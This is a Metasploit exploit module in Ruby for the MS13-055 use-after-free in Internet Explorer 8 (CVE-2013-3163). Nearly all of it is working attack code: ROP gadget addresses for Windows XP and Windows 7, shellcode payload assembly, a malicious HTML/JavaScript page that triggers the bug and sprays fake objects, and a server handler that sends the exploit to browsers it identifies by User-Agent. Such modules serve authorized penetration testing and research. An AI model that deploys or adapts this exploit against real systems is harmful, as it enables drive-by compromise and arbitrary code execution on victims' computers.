203 lines
6.0 KiB
Ruby
203 lines
6.0 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::RopDb
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free",
|
|
'Description' => %q{
|
|
In IE8 standards mode, it's possible to cause a use-after-free condition by first
|
|
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
|
|
with the final node being a sub table element. When the CPhraseElement's outer
|
|
content is reset by using either outerText or outerHTML through an event handler,
|
|
this triggers a free of its child element (in this case, a CAnchorElement, but
|
|
some other objects apply too), but a reference is still kept in function
|
|
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
|
|
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
|
|
make a call to the object's SecurityContext virtual function at offset +0x70, which
|
|
results a crash. An attacker can take advantage of this by first creating an
|
|
CAnchorElement object, let it free, and then replace the freed memory with another
|
|
fake object. Successfully doing so may allow arbitrary code execution under the
|
|
context of the user.
|
|
|
|
This bug is specific to Internet Explorer 8 only. It was originally discovered by
|
|
Jose Antonio Vazquez Gonzalez and reported to iDefense, but was discovered again
|
|
by Orange Tsai at Hitcon 2013.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Jose Antonio Vazquez Gonzalez', # Original discovery reported from iDefense
|
|
'Orange Tsai', # Rediscovery, published at Hitcon 2013
|
|
'Peter Vreugdenhil', # Joins the party (wtfuzz)
|
|
'sinn3r' # Joins the party
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-3163' ],
|
|
[ 'OSVDB', '94981' ],
|
|
[ 'MSB', 'MS13-055' ],
|
|
[ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ]
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', {} ],
|
|
[
|
|
'IE 8 on Windows XP SP3',
|
|
{
|
|
'Rop' => :msvcrt,
|
|
'Pivot' => 0x77c15ed5, # xchg eax, esp; ret
|
|
'Align' => 0x77c4d801 # add esp, 0x2c; ret
|
|
}
|
|
],
|
|
[
|
|
'IE 8 on Windows 7',
|
|
{
|
|
'Rop' => :jre,
|
|
'Pivot' => 0x7c348b05, # xchg eax, esp; ret
|
|
'Align' => 0x7C3445F8 # add esp, 0x2c; ret
|
|
}
|
|
]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00"
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'InitialAutoRunScript' => 'migrate -f'
|
|
},
|
|
'Privileged' => false,
|
|
# Bug was patched in July 2013. Tsai was the first to publish the bug.
|
|
# But Jose already reported way back in Oct 2012 (to iDefense)
|
|
'DisclosureDate' => "Jul 09 2013",
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def get_target(agent)
|
|
return target if target.name != 'Automatic'
|
|
|
|
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
|
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
|
|
|
ie_name = "IE #{ie}"
|
|
|
|
case nt
|
|
when '5.1'
|
|
os_name = 'Windows XP SP3'
|
|
when '6.1'
|
|
os_name = 'Windows 7'
|
|
end
|
|
|
|
targets.each do |t|
|
|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
|
return t
|
|
end
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
def get_payload(t)
|
|
if t['Rop'] == :msvcrt
|
|
print_status("Using msvcrt ROP")
|
|
esp_align = "\x81\xc4\x54\xf2\xff\xff"
|
|
rop_dll = 'msvcrt'
|
|
opts = {'target'=>'xp'}
|
|
else
|
|
print_status("Using JRE ROP")
|
|
esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
|
|
rop_dll = 'java'
|
|
opts = {}
|
|
end
|
|
|
|
p = esp_align + payload.encoded + rand_text_alpha(12000)
|
|
generate_rop_payload(rop_dll, p, opts)
|
|
end
|
|
|
|
def get_html(t, p)
|
|
junk = rand_text_alpha(4).unpack("V")[0].to_i
|
|
js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*"))
|
|
js_payload = Rex::Text.to_unescape(p)
|
|
js_align = Rex::Text.to_unescape([t['Align']].pack("V*"))
|
|
js_junk = Rex::Text.to_unescape([junk].pack("V*"))
|
|
|
|
q_id = Rex::Text.rand_text_alpha(1)
|
|
|
|
%Q|
|
|
<!DOCTYPE html>
|
|
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
|
|
<head>
|
|
<meta>
|
|
<?IMPORT namespace="t" implementation="#default#time2">
|
|
</meta>
|
|
</head>
|
|
<script>
|
|
#{js_mstime_malloc}
|
|
|
|
window.onload = function() {
|
|
var x = document.getElementById("#{q_id}");
|
|
x.outerText = "";
|
|
a = document.getElementById('myanim');
|
|
|
|
p = '';
|
|
for (i=0; i < 7; i++) {
|
|
p += unescape("#{js_junk}");
|
|
}
|
|
p += unescape("#{js_payload}");
|
|
|
|
fo = unescape("#{js_align}");
|
|
for (i=0; i < 28; i++) {
|
|
if (i == 27) { fo += unescape("#{js_pivot}"); }
|
|
else { fo += unescape("#{js_align}"); }
|
|
}
|
|
|
|
fo += p;
|
|
|
|
mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"});
|
|
}
|
|
</script>
|
|
<table>
|
|
<tr>
|
|
<div>
|
|
<span>
|
|
<q id='#{q_id}'>
|
|
<a>
|
|
<td></td>
|
|
</a>
|
|
</q>
|
|
</span>
|
|
</div>
|
|
</tr>
|
|
</table>
|
|
<t:ANIMATECOLOR id="myanim"/>
|
|
</html>
|
|
|
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
agent = request.headers['User-Agent']
|
|
t = get_target(agent)
|
|
|
|
if t
|
|
p = get_payload(t)
|
|
html = get_html(t, p)
|
|
print_status("Sending exploit...")
|
|
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
|
else
|
|
print_error("Not a suitable target: #{agent}")
|
|
send_not_found(cli)
|
|
end
|
|
end
|
|
end
|